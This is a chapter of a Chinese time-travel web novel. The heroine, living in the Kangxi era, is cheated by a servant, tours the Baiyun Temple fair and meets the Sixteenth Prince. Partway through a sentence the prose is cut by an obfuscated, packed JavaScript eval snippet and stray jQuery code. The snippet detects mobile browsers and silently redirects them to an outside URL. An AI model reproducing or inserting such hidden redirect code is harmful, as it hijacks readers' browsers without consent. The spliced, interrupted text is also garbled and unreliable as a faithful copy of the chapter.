74. 第 74 章

作品:《是谁多事种芭蕉

    府尹本是想今日有人送上门,当然要扒他一层皮,却见这人不一般,哪里敢欺负这样的贵公子,反劝她找族长、乡绅来解决,千万别意气用事!


    严露晞知道此事没那么简单,在这个奴才不是人的世界,她必定要撞破南墙才能把此事办下来。


    这时候阿金阿也附和道:“是呀主子。”


    严露晞蓦地瞪他,他居然一点不内疚,反而说:“妞妞从小就笨,贵人您看不顺眼就打她、教她,不然她永远学不会的。”


    那胖子适时跟着说:“是了爷,奴才做得不好自然要教训的。”


    严露晞心呼上当,阿金阿可不是帮她报官来的,不过是诓她拿钱罢了。


    从顺天府出来阿金阿还胡说八道:“奴才前几年和人打架伤了腰,什么都干不了,家里上有老下有小,都靠我一个人养着,又补不上兵缺,日子难过。”


    懒得听他胡说,严露晞打断问:“那你识字吗?”


    阿金阿误以为福金又要发善心了,他摇头又开始诉苦:“家里父母身体都不好,几个妹妹长大都是靠赊账,奴才今年好不容易得了几个赏钱,也都用来平账了。”


    说的这些赏钱怕不都是严露晞给的吧。


    几个小女孩能花什么钱,不都是被他们吃了!


    旗人不能出城不能做买卖,被管控得很严格,若是补不上缺,日子很是难过,但是这种人,真让他补上了缺还得了!


    严露晞看着他的狰狞面目,也不觉得可恨。毕竟从前她总是双眼一睁就开始查史料,查得天昏地暗,最后一无所获。


    两相比较之下,他不过是骗钱而已,又不骗感情。


    “你若是识字我还能想想办法,字也不识得,那我也爱莫能助了。”


    她还想了个借口甩开他,结果丢了一袋钱,阿金阿自己就滚蛋了,连求她想办法补却都不再提。


    严露晞随着人群就这么一直走,浮躁的心情忽而又开朗下来。


    这日虽有烦心事,但她已经很久没有像这样走在大街上。


    王府里那些贴着金箔、五彩贝类的柜子不见,只有满是泥土的大街和熙熙攘攘的人群。


    甚至能闻到人们说话时嘴里的清淡菜味,盘在头顶的辫子被热气烘出的头油味。


    可这才是人间。


    满是污垢的大街上,眼神空洞,时而看见新奇的才会偶尔闪亮的人们,却比雍亲王府更真实。


    她也不遑多让,抬头四处张望,只看见白云观三字便往前走,脑袋里愁思万千,心里想着巴彦珠的事干脆算了。


    反正她也无能为力,她救不了巴彦珠,更救不了自己。


    观外庙市人挤人,年露个头不矮又穿一身崭新长袍,走在人群中稍显瞩目。


    好在人们沉浸在买卖香烛日杂玩具小吃,也顾不上她。


    走出去几步人群中传出锣声,想也知道会有杂技表演。


    她顺着去凑热闹的人群就被推了过去,还没到面前就和踩高跷的人来了个对视。


    她没有目的,后面但凡有个人推搡她就会改变路线,不知怎的又被推进了最热闹的广场,踩高跷的人直接从她头顶走了过去。


    舞狮子的一看这富贵人来,从另一头跳着就在她面前舞了一段。


    严露晞的荷包早已丢给阿金阿,身上只剩袖兜里藏了几个应急用的银子。


    周围人跟着起哄,要小少爷多多打赏。


    不想被这样关注,她才不得不伸手到袖子里把仅剩的丢到了旁边那个人敲得梆梆响的锣里。


    跟着又一波看热闹人群的到来,严露晞又随着大家往别的地方去。


    这一边的人流较之广场的急,都在追着一群推车的人。


    这些人有手持烟袋画了个媒婆妆的老妪,也有手握折扇满脸图白的公子。


    几个大胡子老头推着个竹子扎的小车,上面坐的那花枝招展的姑娘却是个长方脸、大鼻子、血盆的大口在黝黑的脸上像刚吃了人。


    老妪耍烟袋时,有一个拿扇的丑公子走到旁用扇尖去够车上人的下巴,一旁编两条辫子的丫头跑去推。


    坐在车上的人低头装作娇羞模样,却掩饰不了他拿手绢的手上满是皱褶。


    一群丑男人的把戏,真恶心!


    但是人们看得起劲,为转手帕的老妪喝彩。


    那个坐车的丑男人下还有一双腿,原来是自己在走,这会儿几个人假装下坡,后面跟着的那个假瞎子走上两步,突然摔倒,转了个圈跑到车前头去了。


    跟在最后的锣鼓唢呐跟上来一顿吹吹打打,老妪又开始叼花、耍手帕。


    那瞎子在地上又是劈叉又是翻扑,搅得地上灰尘四起,将一切蒙上了历史的味道。


    是社戏,严露晞提醒自己,社戏是这样的,不够高雅,但这就是民俗文化。


    被灰尘呛得直咳嗽,人又实在太多,胸口、后背又挨了很多下。她并不感到疼痛,只是喘不上气。


    低下头往街角钻,周围人逐渐离她远远的,她才从一众嘈杂哄闹中脱离。


    白云观内鼓乐齐鸣,传进耳朵,好似换了天堂,她又想往那边去。


    等了四五架马车才过了街,穿着羽衣的神仙就多了起来。


    穿过照壁和山门,里面香火鼎盛,观外的热闹嗡嗡作响,没想到观内也不遑多让。


    笙歌鼎沸,仙音缭绕,云烟缥缈间是一座桥,桥上已围着许多人,大家只盯着一个地方。


    靠近了才听见“叮——”一声,“哎——呀!”人群略微向后倒过来又回到原本的位置。


    “叮——”


    “哎呀!可惜啊!”


    人们都在叹息,严露晞努力探头想靠近,却看不真切。


    从她身后出现了几个壮汉,只一瞬便将人群隔开,似乎也想知道人们在桥上看什么,所以留下了一个空位,让严露晞也看见了其中奥妙。


    桥下是窝风桥的金钱眼,大家正在用铜板去打那金钱眼呢。


    她没钱了,这在未来已经消失的活动也只好看看作罢。


    不过天色已经很晚,黑咕隆咚中真让她投她也投不进。


    两旁行人从壮汉出现就发现了她,一开始指指点点,现在已经发展成捂着嘴嘀咕。


    这位风度翩翩的阿哥,随身带着数个壮汉,这气势!


    “抓到神仙了!神仙降临了!”


    “丘真人转世了!”


    虽早上已经经历过一次,可这回桥上人都蜂拥来捉,吓得严露晞脚下不知该往何处逃。


    身边那些魁梧的男子突然出手阻止,只是将那些来拉她的人隔绝,比阿金阿有素质多了。


    正值逢魔时刻,观中在上灯,灯影闪烁中,一位翩翩少


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312798|185138||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    年站在不远处,他高于人群,透过一个个头顶,视线一直跟着她。


    等那些魁梧男子散开如刚才一般隐在人群中他才靠近说:“这么冷的天,怎么没戴兜帽,脸冻得通红。”


    乍一下被人叫回思绪,看着面前这个细高鼻梁、唇红齿白的熟悉少年,眼角没有整日烦忧而透露出的威严,只是嘴角带着浅笑。


    她穿越到十年前雍亲王还只是平头阿哥的时候了?


    “福金切勿怪罪,大家等了一天的神仙,才会鲁莽行事。”


    是十六阿哥胤禄。


    严露晞并没有生气,她甚至没有情绪,“是大家抬举我,我高兴都来不及,又怎么会有意见呢。”


    “福金真是大人大量。”


    严露晞扶正头上的六合一统帽,拒绝他这样称呼:“你叫我……嘎琭吧!”


    十六阿哥依旧笑着,“嘎琭?用你们汉人的话说,就是鸿鹄咯?福金有鸿鹄之志,看来是我从前小看了您。”


    原来嘎琭是天鹅的意思?一只小白狗,叫嘎琭,也没错。


    “那,伊琭玳是什么意思?”


    “一种神鸟。”


    他这话说得比较委婉,应该是类似于凤凰的神鸟吧。严露晞心头想着,突然脚下被人紧紧拽住。


    低头一看,一个满头肮脏,臭气熏天的跛脚乞丐抓住了她的裤脚。


    这乞丐在桥那头听见抓到神仙了,瘸着腿过来时这边已经散开,他还不知,只觉得自己终于幸运一回,一头撞了上来。


    “神仙,神仙行行好!我已经三天没吃饭了,神仙——”


    十六阿哥几个眼神,周围的壮汉又出现,给那乞丐塞了银子,抬着手臂端了出去。


    百姓见他发钱,当然不干了,也都围上来要钱,量是壮汉也控制不住了。


    十六阿哥只好吩咐手下往人堆里撒些喜钱。


    看着天空缓慢坠地的铜板,打在人们身上,他们却更加兴奋,推搡开旁边的人,只管抓起往兜里塞。


    严露晞头痛欲裂,仿佛那些铜钱都砸在她头上。


    十六阿哥也看出她的不自在,准备离开这里,他伸手请她先走。


    挺难得能在这里看见绅士手,毕竟她只见过这里的上下级关系,大家都是跪来跪去的。


    十六阿哥护着她先进了灵官殿,丝竹管弦有增无减,穿着各色羽衣的道人又唱又跳。


    第一次亲身感受罗天大醮,感觉和她平日参加的漫展音乐节也没区别。


    那痛屋里的等身手办,各种法器周边,和二次元一模一样。


    甚至那些精美羽衣更加奢华。


    可惜是她用自己的眼睛看着这些,却觉得一切那么遥远。她好像游离在这片土地之外。


    十六阿哥介绍着什么严露晞也听不清楚,他靠近说话,她依然听不清,只是摇摇头。


    他笑着埋下头,“看来嘎琭真是神仙,走一路百姓都在看你。”


    严露晞不觉得,“我感觉那个乞儿更像神仙,否则他如何能坚持到现在依旧期待活着?哪怕在困苦中,依然乐观地认为会有人暗中庇佑他。”


    这回换了十六阿哥听不见,严露晞却不再说,自己出了灵官殿。


    幢幢灯影中落下几片菱形花瓣,是难得一见的标准雪花。


    她伸手接住,康熙五十二年的最后一场雪。